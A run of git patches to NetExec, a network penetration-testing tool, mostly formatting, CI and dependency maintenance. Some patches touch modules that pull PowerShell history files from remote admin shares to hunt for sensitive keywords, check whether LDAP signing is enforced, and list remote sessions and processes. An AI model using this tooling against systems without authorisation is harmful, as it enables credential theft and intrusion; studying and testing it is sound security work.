1) + description = "" user = user.strip().replace("WHITESPACE_ERROR", " ").strip() password = password.strip().replace("WHITESPACE_ERROR", " ").strip() description = description.strip().replace("WHITESPACE_ERROR", " ").strip() - context.log.highlight(f"{user:<30} {password:<30} {description}") + context.log.highlight(f"{user:<40} {password:<40} {description}") except ValueError: context.log.fail(f"Powershell returned unexpected output: {output_stripped}") context.log.fail("Please report this issue on GitHub!") From 4ffdbde343b2298fbafa1d4fdea7a0041ce19f04 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 20 Feb 2025 18:34:06 -0500 Subject: [PATCH 43/78] Fix python 3.13 logging issue --- nxc/logger.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/logger.py b/nxc/logger.py index f44c37a4..88871f59 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -80,7 +80,7 @@ def no_debug(func): class NXCAdapter(logging.LoggerAdapter): - def __init__(self, extra=None): + def __init__(self, extra=None, merge_extra=False): logging.basicConfig( format="%(message)s", datefmt="[%X]", @@ -93,6 +93,7 @@ class NXCAdapter(logging.LoggerAdapter): ) self.logger = logging.getLogger("nxc") self.extra = extra + self.merge_extra = merge_extra self.output_file = None logging.getLogger("impacket").disabled = True From c6c1c2f14ea8ddfee45b51a3f6fea72257ac35e2 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 20 Feb 2025 18:35:43 -0500 Subject: [PATCH 44/78] Update github workflows to py3.13 --- .github/workflows/build-binaries.yml | 2 +- .github/workflows/build-zipapps.yml | 2 +- .github/workflows/lint.yml | 2 +- .github/workflows/test.yml | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/build-binaries.yml b/.github/workflows/build-binaries.yml index 6b7dba98..dba5bf53 100644 --- a/.github/workflows/build-binaries.yml +++ b/.github/workflows/build-binaries.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macOS-latest, windows-latest] - python-version: ["3.12"] + python-version: ["3.13"] #python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version steps: - uses: actions/checkout@v4 diff --git a/.github/workflows/build-zipapps.yml b/.github/workflows/build-zipapps.yml index 9970f294..e35b4f04 100644 --- a/.github/workflows/build-zipapps.yml +++ b/.github/workflows/build-zipapps.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macOS-latest, windows-latest] - python-version: ["3.10", "3.11", "3.12"] + python-version: ["3.10", "3.11", "3.12", "3.13"] steps: - uses: actions/checkout@v4 - name: NetExec set up python on ${{ matrix.os }} diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index f92e53d2..f747ec58 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -19,7 +19,7 @@ jobs: - name: Set up Python uses: actions/setup-python@v5 with: - python-version: 3.12 + python-version: 3.13 cache: poetry cache-dependency-path: poetry.lock - name: Install dependencies with dev group diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index fb85ab46..9a9d281a 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -14,7 +14,7 @@ jobs: max-parallel: 5 matrix: os: [ubuntu-latest] - python-version: ["3.10", "3.11", "3.12"] + python-version: ["3.10", "3.11", "3.12", "3.13"] steps: - uses: actions/checkout@v4 - name: Install poetry From 1911ca9e51e6b751e9ff0ed7035f6b4c72410a45 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 20 Feb 2025 18:36:51 -0500 Subject: [PATCH 45/78] Update impacket and pynfsclient --- poetry.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/poetry.lock b/poetry.lock index cbe8b261..157c33bd 100644 --- a/poetry.lock +++ b/poetry.lock @@ -893,7 +893,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2 [[package]] name = "impacket" -version = "0.13.0.dev0+20241125.162952.ea27e8b2" +version = "0.13.0.dev0+20250220.93348.6315ebd5" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -917,7 +917,7 @@ six = "*" type = "git" url = "https://github.com/fortra/impacket.git" reference = "HEAD" -resolved_reference = "ea27e8b2dfedf57370d2f65c5053a2b8eeb8ca9d" +resolved_reference = "6315ebd5388cf5bf52a809b8101f18d49c6a0ef7" [[package]] name = "iniconfig" @@ -1870,7 +1870,7 @@ develop = false type = "git" url = "https://github.com/Pennyw0rth/NfsClient" reference = "HEAD" -resolved_reference = "a94a3254b279dc49395caecf27ec097a71eea91b" +resolved_reference = "0fa1c048394f601d565c6301880da84912b8245a" [[package]] name = "pyopenssl" From ad6c385493f78bbb162dda542cab7353c2f8527f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 23 Feb 2025 13:14:06 -0500 Subject: [PATCH 46/78] Typo --- nxc/protocols/nfs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index d13e2d30..6f310940 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -413,7 +413,7 @@ class nfs(connection): Usually: - 1 byte: 0x01 fb_version - 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth) - - 1 byte: 0xXX fb_fsid_type -> determines the legth of the fsid + - 1 byte: 0xXX fb_fsid_type -> determines the length of the fsid - 1 byte: 0xXX fb_fileid_type """ fh = bytearray(file_handle) From 2d21f4d7a698066d99d8889587fca9b01c62fb43 Mon Sep 17 00:00:00 2001 From: zblurx Date: Tue, 25 Feb 2025 12:40:13 +0100 Subject: [PATCH 47/78] LDAP checker fix when checking without creds --- nxc/modules/ldap-checker.py | 79 ++++++++++++++++++++++--------------- 1 file changed, 47 insertions(+), 32 deletions(-) diff --git a/nxc/modules/ldap-checker.py b/nxc/modules/ldap-checker.py index 152f3a0d..3a13f2cc 100644 --- a/nxc/modules/ldap-checker.py +++ b/nxc/modules/ldap-checker.py @@ -146,43 +146,58 @@ class NXCModule: # Run trough all our code blocks to determine LDAP signing and channel binding settings. - stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT - secret = connection.password if not connection.nthash else connection.nthash - if not connection.kerberos: + stype = asyauthSecret.PASS + secret = connection.password + if connection.nthash: + stype = asyauthSecret.NT + secret = connection.nthash + if connection.aesKey: + stype = asyauthSecret.AES + secret = connection.aesKey + if connection.username == "" and secret == "": credential = NTLMCredential( - secret=secret, - username=connection.username, - domain=connection.domain, + secret=None, + username="Guest", + domain=None, stype=stype, ) + context.log.info("No username used, skipping LDAP signing check") else: - kerberos_target = UniTarget( - connection.host, - 88, - UniProto.CLIENT_TCP, - hostname=connection.remoteName, - dc_ip=connection.kdcHost, - domain=connection.domain, - proxies=None, - dns=None, - ) - credential = KerberosCredential( - target=kerberos_target, - secret=secret, - username=connection.username, - domain=connection.domain, - stype=stype, - ) + if not connection.kerberos: + credential = NTLMCredential( + secret=secret, + username=connection.username, + domain=connection.domain, + stype=stype, + ) + else: + kerberos_target = UniTarget( + connection.host, + 88, + UniProto.CLIENT_TCP, + hostname=connection.remoteName, + dc_ip=connection.kdcHost, + domain=connection.domain, + proxies=None, + dns=None, + ) + credential = KerberosCredential( + target=kerberos_target, + secret=secret, + username=connection.username, + domain=connection.domain, + stype=stype, + ) - target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) - ldapIsProtected = asyncio.run(run_ldap(target, credential)) - if ldapIsProtected is False: - context.log.highlight("LDAP Signing NOT Enforced!") - elif ldapIsProtected is True: - context.log.fail("LDAP Signing IS Enforced") - else: - context.log.fail("Connection fail, exiting now") - sys.exit() + target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) + ldapIsProtected = asyncio.run(run_ldap(target, credential)) + if ldapIsProtected is False: + context.log.highlight("LDAP Signing NOT Enforced!") + elif ldapIsProtected is True: + context.log.fail("LDAP Signing IS Enforced") + else: + context.log.fail("Connection fail, exiting now") + sys.exit() if DoesLdapsCompleteHandshake(connection.host) is True: target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) From b14830f17a624157509af7c1cc4313d1ed2b726f Mon Sep 17 00:00:00 2001 From: Fox Date: Tue, 25 Feb 2025 14:25:30 -0800 Subject: [PATCH 48/78] Refactored powershell_history module to fix case sensitivity --- nxc/modules/powershell_history.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 3e531dc3..ce42b76b 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -36,8 +36,10 @@ class NXCModule: buf = BytesIO() connection.conn.getFile("C$", file_path, buf.write) buf.seek(0) - file_content = buf.read().decode("utf-8", errors="ignore").lower() - keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword in file_content] + file_content = buf.read().decode("utf-8", errors="ignore") + # Use temporary lowercase version for searching + file_content_lower = file_content.lower() + keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword.lower() in file_content_lower] if len(keywords): context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]") else: From 6120249dd042423272ceacc90357fcf91066d34c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 03:36:22 -0500 Subject: [PATCH 49/78] Simplify code --- nxc/modules/powershell_history.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index ce42b76b..5e897cc8 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -37,9 +37,7 @@ class NXCModule: connection.conn.getFile("C$", file_path, buf.write) buf.seek(0) file_content = buf.read().decode("utf-8", errors="ignore") - # Use temporary lowercase version for searching - file_content_lower = file_content.lower() - keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword.lower() in file_content_lower] + keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword.lower() in file_content.lower()] if len(keywords): context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]") else: From cb76ad8ded6c0d6bdacc65c9dd9eff59ab70f3ec Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 09:32:03 -0500 Subject: [PATCH 50/78] Fix ASCII Art --- nxc/cli.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/cli.py b/nxc/cli.py index 582dc453..6fdfa007 100755 --- a/nxc/cli.py +++ b/nxc/cli.py @@ -53,9 +53,9 @@ def gen_cli_args(): || || | \ | | ___ | |_ | ____| __ __ ___ ___ \\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __| .=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__ - / /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___| - ॱ \ / ॱ - ॱ ॱ + / /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___| + ˙ \ / ˙ + ˙ ˙ The network execution tool Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx From 98c92077cc55557765152154b25e75d06f7f6f27 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 11:14:40 -0500 Subject: [PATCH 51/78] Replace single quote with double quote --- nxc/protocols/smb.py | 167 +++++++++++++++++++++---------------------- 1 file changed, 83 insertions(+), 84 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index b5bdcfce..2717eddf 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -839,116 +839,115 @@ class smb(connection): def get_session_list(self): with TSTS.TermSrvEnumeration(self.conn, self.host) as lsm: handle = lsm.hRpcOpenEnum() - rsessions = lsm.hRpcGetEnumResult(handle, Level=1)['ppSessionEnumResult'] + rsessions = lsm.hRpcGetEnumResult(handle, Level=1)["ppSessionEnumResult"] lsm.hRpcCloseEnum(handle) self.sessions = {} for i in rsessions: - sess = i['SessionInfo']['SessionEnum_Level1'] - state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess['State']).split('_')[-1] - self.sessions[sess['SessionId']] = { 'state' :state, - 'SessionName' :sess['Name'], - 'RemoteIp' :'', - 'ClientName' :'', - 'Username' :'', - 'Domain' :'', - 'Resolution' :'', - 'ClientTimeZone':'' + sess = i["SessionInfo"]["SessionEnum_Level1"] + state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess["State"]).split("_")[-1] + self.sessions[sess["SessionId"]] = {"state": state, + "SessionName": sess["Name"], + "RemoteIp": "", + "ClientName": "", + "Username": "", + "Domain": "", + "Resolution": "", + "ClientTimeZone": "" } def enumerate_sessions_info(self): if len(self.sessions): with TSTS.TermSrvSession(self.conn, self.host) as TermSrvSession: - for SessionId in self.sessions.keys(): + for SessionId in self.sessions: sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId) - sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['SessionFlags']) - self.sessions[SessionId]['flags'] = sessflags - domain = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['DomainName'] - if not len(self.sessions[SessionId]['Domain']) and len(domain): - self.sessions[SessionId]['Domain'] = domain - username = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['UserName'] - if not len(self.sessions[SessionId]['Username']) and len(username): - self.sessions[SessionId]['Username'] = username - self.sessions[SessionId]['ConnectTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['ConnectTime'] - self.sessions[SessionId]['DisconnectTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['DisconnectTime'] - self.sessions[SessionId]['LogonTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LogonTime'] - self.sessions[SessionId]['LastInputTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LastInputTime'] + sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["SessionFlags"]) + self.sessions[SessionId]["flags"] = sessflags + domain = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DomainName"] + if not len(self.sessions[SessionId]["Domain"]) and len(domain): + self.sessions[SessionId]["Domain"] = domain + username = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["UserName"] + if not len(self.sessions[SessionId]["Username"]) and len(username): + self.sessions[SessionId]["Username"] = username + self.sessions[SessionId]["ConnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["ConnectTime"] + self.sessions[SessionId]["DisconnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DisconnectTime"] + self.sessions[SessionId]["LogonTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LogonTime"] + self.sessions[SessionId]["LastInputTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LastInputTime"] @requires_admin def qwinsta(self): desktop_states = { - 'WTS_SESSIONSTATE_UNKNOWN': '', - 'WTS_SESSIONSTATE_LOCK' : 'Locked', - 'WTS_SESSIONSTATE_UNLOCK' : 'Unlocked', + "WTS_SESSIONSTATE_UNKNOWN": "", + "WTS_SESSIONSTATE_LOCK": "Locked", + "WTS_SESSIONSTATE_UNLOCK": "Unlocked", } self.get_session_list() if not len(self.sessions): return self.enumerate_sessions_info() - maxSessionNameLen = max([len(self.sessions[i]['SessionName'])+1 for i in self.sessions]) - maxSessionNameLen = maxSessionNameLen if len('SESSIONNAME') < maxSessionNameLen else len('SESSIONNAME')+1 - maxUsernameLen = max([len(self.sessions[i]['Username']+self.sessions[i]['Domain'])+1 for i in self.sessions])+1 - maxUsernameLen = maxUsernameLen if len('Username') < maxUsernameLen else len('Username')+1 + maxSessionNameLen = max([len(self.sessions[i]["SessionName"])+1 for i in self.sessions]) + maxSessionNameLen = maxSessionNameLen if len("SESSIONNAME") < maxSessionNameLen else len("SESSIONNAME")+1 + maxUsernameLen = max([len(self.sessions[i]["Username"]+self.sessions[i]["Domain"])+1 for i in self.sessions])+1 + maxUsernameLen = maxUsernameLen if len("Username") < maxUsernameLen else len("Username")+1 maxIdLen = max([len(str(i)) for i in self.sessions]) - maxIdLen = maxIdLen if len('ID') < maxIdLen else len('ID')+1 - maxStateLen = max([len(self.sessions[i]['state'])+1 for i in self.sessions]) - maxStateLen = maxStateLen if len('STATE') < maxStateLen else len('STATE')+1 - maxRemoteIp = max([len(self.sessions[i]['RemoteIp'])+1 for i in self.sessions]) - maxRemoteIp = maxRemoteIp if len('RemoteAddress') < maxRemoteIp else len('RemoteAddress')+1 - maxClientName = max([len(self.sessions[i]['ClientName'])+1 for i in self.sessions]) - maxClientName = maxClientName if len('ClientName') < maxClientName else len('ClientName')+1 - template = ('{SESSIONNAME: <%d} ' - '{USERNAME: <%d} ' - '{ID: <%d} ' - '{STATE: <%d} ' - '{DSTATE: <9} ' - '{CONNTIME: <20} ' - '{DISCTIME: <20} ') % (maxSessionNameLen, maxUsernameLen, maxIdLen, maxStateLen) + maxIdLen = maxIdLen if len("ID") < maxIdLen else len("ID")+1 + maxStateLen = max([len(self.sessions[i]["state"])+1 for i in self.sessions]) + maxStateLen = maxStateLen if len("STATE") < maxStateLen else len("STATE")+1 + maxRemoteIp = max([len(self.sessions[i]["RemoteIp"])+1 for i in self.sessions]) + maxRemoteIp = maxRemoteIp if len("RemoteAddress") < maxRemoteIp else len("RemoteAddress")+1 + maxClientName = max([len(self.sessions[i]["ClientName"])+1 for i in self.sessions]) + maxClientName = maxClientName if len("ClientName") < maxClientName else len("ClientName")+1 + template = ("{SESSIONNAME: <%d} " + "{USERNAME: <%d} " + "{ID: <%d} " + "{STATE: <%d} " + "{DSTATE: <9} " + "{CONNTIME: <20} " + "{DISCTIME: <20} ") % (maxSessionNameLen, maxUsernameLen, maxIdLen, maxStateLen) result = [] header = template.format( - SESSIONNAME = 'SESSIONNAME', - USERNAME = 'USERNAME', - ID = 'ID', - STATE = 'STATE', - DSTATE = 'Desktop', - CONNTIME = 'ConnectTime', - DISCTIME = 'DisconnectTime', + SESSIONNAME = "SESSIONNAME", + USERNAME = "USERNAME", + ID = "ID", + STATE = "STATE", + DSTATE = "Desktop", + CONNTIME = "ConnectTime", + DISCTIME = "DisconnectTime", ) - header2 = template.replace(' <','=<').format( - SESSIONNAME = '', - USERNAME = '', - ID = '', - STATE = '', - DSTATE = '', - CONNTIME = '', - DISCTIME = '', + header2 = template.replace(" <", "=<").format( + SESSIONNAME = "", + USERNAME = "", + ID = "", + STATE = "", + DSTATE = "", + CONNTIME = "", + DISCTIME = "", ) - header_verbose = '' - header2_verbose = '' - result.append(header+header_verbose) - result.append(header2+header2_verbose+'\n') + header_verbose = "" + header2_verbose = "" + result.extend((header + header_verbose, header2 + header2_verbose + "\n")) for i in self.sessions: - connectTime = self.sessions[i]['ConnectTime'] - connectTime = connectTime.strftime(r'%Y/%m/%d %H:%M:%S') if connectTime.year > 1601 else 'None' + connectTime = self.sessions[i]["ConnectTime"] + connectTime = connectTime.strftime(r"%Y/%m/%d %H:%M:%S") if connectTime.year > 1601 else "None" - disconnectTime = self.sessions[i]['DisconnectTime'] - disconnectTime = disconnectTime.strftime(r'%Y/%m/%d %H:%M:%S') if disconnectTime.year > 1601 else 'None' - userName = self.sessions[i]['Domain'] + '\\' + self.sessions[i]['Username'] if len(self.sessions[i]['Username']) else '' + disconnectTime = self.sessions[i]["DisconnectTime"] + disconnectTime = disconnectTime.strftime(r"%Y/%m/%d %H:%M:%S") if disconnectTime.year > 1601 else "None" + userName = self.sessions[i]["Domain"] + "\\" + self.sessions[i]["Username"] if len(self.sessions[i]["Username"]) else "" row = template.format( - SESSIONNAME = self.sessions[i]['SessionName'], + SESSIONNAME = self.sessions[i]["SessionName"], USERNAME = userName, ID = i, - STATE = self.sessions[i]['state'], - DSTATE = desktop_states[self.sessions[i]['flags']], + STATE = self.sessions[i]["state"], + DSTATE = desktop_states[self.sessions[i]["flags"]], CONNTIME = connectTime, DISCTIME = disconnectTime, ) - row_verbose = '' + row_verbose = "" result.append(row+row_verbose) self.logger.success("Enumerated qwinsta sessions") @@ -966,20 +965,20 @@ class smb(connection): self.logger.debug("Exception while calling hRpcWinStationGetAllProcesses") return if not len(r): - return None + return self.logger.success("Enumerated processes") - maxImageNameLen = max([len(i['ImageName']) for i in r]) - maxSidLen = max([len(i['pSid']) for i in r]) - template = '{: <%d} {: <8} {: <11} {: <%d} {: >12}' % (maxImageNameLen, maxSidLen) - self.logger.highlight(template.format('Image Name', 'PID', 'Session#', 'SID', 'Mem Usage')) - self.logger.highlight(template.replace(': ',':=').format('','','','','')) + maxImageNameLen = max([len(i["ImageName"]) for i in r]) + maxSidLen = max([len(i["pSid"]) for i in r]) + template = "{: <%d} {: <8} {: <11} {: <%d} {: >12}" % (maxImageNameLen, maxSidLen) + self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage")) + self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", "")) for procInfo in r: row = template.format( - procInfo['ImageName'], - procInfo['UniqueProcessId'], - procInfo['SessionId'], - procInfo['pSid'], - '{:,} K'.format(procInfo['WorkingSetSize']//1000), + procInfo["ImageName"], + procInfo["UniqueProcessId"], + procInfo["SessionId"], + procInfo["pSid"], + "{:,} K".format(procInfo["WorkingSetSize"]//1000), ) self.logger.highlight(row) From 724401af7aa57a31cbc5c16f0427488a77a9804b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 11:15:56 -0500 Subject: [PATCH 52/78] Formating --- nxc/protocols/smb.py | 95 ++++++++++++++++++++++---------------------- 1 file changed, 48 insertions(+), 47 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 2717eddf..f258830f 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -845,15 +845,16 @@ class smb(connection): for i in rsessions: sess = i["SessionInfo"]["SessionEnum_Level1"] state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess["State"]).split("_")[-1] - self.sessions[sess["SessionId"]] = {"state": state, - "SessionName": sess["Name"], - "RemoteIp": "", - "ClientName": "", - "Username": "", - "Domain": "", - "Resolution": "", - "ClientTimeZone": "" - } + self.sessions[sess["SessionId"]] = { + "state": state, + "SessionName": sess["Name"], + "RemoteIp": "", + "ClientName": "", + "Username": "", + "Domain": "", + "Resolution": "", + "ClientTimeZone": "" + } def enumerate_sessions_info(self): if len(self.sessions): @@ -861,7 +862,7 @@ class smb(connection): for SessionId in self.sessions: sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId) sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["SessionFlags"]) - self.sessions[SessionId]["flags"] = sessflags + self.sessions[SessionId]["flags"] = sessflags domain = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DomainName"] if not len(self.sessions[SessionId]["Domain"]) and len(domain): self.sessions[SessionId]["Domain"] = domain @@ -872,7 +873,7 @@ class smb(connection): self.sessions[SessionId]["DisconnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DisconnectTime"] self.sessions[SessionId]["LogonTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LogonTime"] self.sessions[SessionId]["LastInputTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LastInputTime"] - + @requires_admin def qwinsta(self): desktop_states = { @@ -884,7 +885,7 @@ class smb(connection): if not len(self.sessions): return self.enumerate_sessions_info() - + maxSessionNameLen = max([len(self.sessions[i]["SessionName"])+1 for i in self.sessions]) maxSessionNameLen = maxSessionNameLen if len("SESSIONNAME") < maxSessionNameLen else len("SESSIONNAME")+1 maxUsernameLen = max([len(self.sessions[i]["Username"]+self.sessions[i]["Domain"])+1 for i in self.sessions])+1 @@ -907,29 +908,29 @@ class smb(connection): result = [] header = template.format( - SESSIONNAME = "SESSIONNAME", - USERNAME = "USERNAME", - ID = "ID", - STATE = "STATE", - DSTATE = "Desktop", - CONNTIME = "ConnectTime", - DISCTIME = "DisconnectTime", - ) - + SESSIONNAME="SESSIONNAME", + USERNAME="USERNAME", + ID="ID", + STATE="STATE", + DSTATE="Desktop", + CONNTIME="ConnectTime", + DISCTIME="DisconnectTime", + ) + header2 = template.replace(" <", "=<").format( - SESSIONNAME = "", - USERNAME = "", - ID = "", - STATE = "", - DSTATE = "", - CONNTIME = "", - DISCTIME = "", - ) + SESSIONNAME="", + USERNAME="", + ID="", + STATE="", + DSTATE="", + CONNTIME="", + DISCTIME="", + ) header_verbose = "" header2_verbose = "" result.extend((header + header_verbose, header2 + header2_verbose + "\n")) - + for i in self.sessions: connectTime = self.sessions[i]["ConnectTime"] connectTime = connectTime.strftime(r"%Y/%m/%d %H:%M:%S") if connectTime.year > 1601 else "None" @@ -939,28 +940,28 @@ class smb(connection): userName = self.sessions[i]["Domain"] + "\\" + self.sessions[i]["Username"] if len(self.sessions[i]["Username"]) else "" row = template.format( - SESSIONNAME = self.sessions[i]["SessionName"], - USERNAME = userName, - ID = i, - STATE = self.sessions[i]["state"], - DSTATE = desktop_states[self.sessions[i]["flags"]], - CONNTIME = connectTime, - DISCTIME = disconnectTime, + SESSIONNAME=self.sessions[i]["SessionName"], + USERNAME=userName, + ID=i, + STATE=self.sessions[i]["state"], + DSTATE=desktop_states[self.sessions[i]["flags"]], + CONNTIME=connectTime, + DISCTIME=disconnectTime, ) - row_verbose = "" + row_verbose = "" result.append(row+row_verbose) self.logger.success("Enumerated qwinsta sessions") for row in result: self.logger.highlight(row) - + @requires_admin def tasklist(self): with TSTS.LegacyAPI(self.conn, self.host) as legacy: try: - handle = legacy.hRpcWinStationOpenServer() + handle = legacy.hRpcWinStationOpenServer() r = legacy.hRpcWinStationGetAllProcesses(handle) - except: + except: # TODO: Issue https://github.com/fortra/impacket/issues/1816 self.logger.debug("Exception while calling hRpcWinStationGetAllProcesses") return @@ -974,12 +975,12 @@ class smb(connection): self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", "")) for procInfo in r: row = template.format( - procInfo["ImageName"], - procInfo["UniqueProcessId"], - procInfo["SessionId"], - procInfo["pSid"], - "{:,} K".format(procInfo["WorkingSetSize"]//1000), - ) + procInfo["ImageName"], + procInfo["UniqueProcessId"], + procInfo["SessionId"], + procInfo["pSid"], + "{:,} K".format(procInfo["WorkingSetSize"]//1000), + ) self.logger.highlight(row) def shares(self): From 23de82520f42876fded284b149a9bdecc7d07bab Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 11:28:57 -0500 Subject: [PATCH 53/78] Add missing kerberos parameter --- nxc/protocols/smb.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index f258830f..16a0d8b4 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -837,7 +837,7 @@ class smb(connection): return response def get_session_list(self): - with TSTS.TermSrvEnumeration(self.conn, self.host) as lsm: + with TSTS.TermSrvEnumeration(self.conn, self.host, self.kerberos) as lsm: handle = lsm.hRpcOpenEnum() rsessions = lsm.hRpcGetEnumResult(handle, Level=1)["ppSessionEnumResult"] lsm.hRpcCloseEnum(handle) @@ -858,7 +858,7 @@ class smb(connection): def enumerate_sessions_info(self): if len(self.sessions): - with TSTS.TermSrvSession(self.conn, self.host) as TermSrvSession: + with TSTS.TermSrvSession(self.conn, self.host, self.kerberos) as TermSrvSession: for SessionId in self.sessions: sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId) sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["SessionFlags"]) @@ -957,7 +957,7 @@ class smb(connection): @requires_admin def tasklist(self): - with TSTS.LegacyAPI(self.conn, self.host) as legacy: + with TSTS.LegacyAPI(self.conn, self.host, self.kerberos) as legacy: try: handle = legacy.hRpcWinStationOpenServer() r = legacy.hRpcWinStationGetAllProcesses(handle) From 6c807b283c359d79c29dd32aa89955ad97e89f61 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 11:51:12 -0500 Subject: [PATCH 54/78] Rename ambigous function --- nxc/protocols/smb.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 59b13dce..50827a74 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1083,7 +1083,7 @@ class smb(connection): dc_ips.append(self.host) return dc_ips - def sessions(self): + def smb_sessions(self): try: sessions = get_netsession( self.host, @@ -1098,8 +1098,8 @@ class smb(connection): if session.sesi10_cname.find(self.local_ip) == -1: self.logger.highlight(f"{session.sesi10_cname:<25} User:{session.sesi10_username}") return sessions - except Exception: - pass + except Exception as e: + self.logger.debug(e) def disks(self): disks = [] From c9111968e285e3af5f3df6e0ec0d25bf409d09eb Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 26 Feb 2025 12:05:34 -0500 Subject: [PATCH 55/78] Also rename the arg lol --- 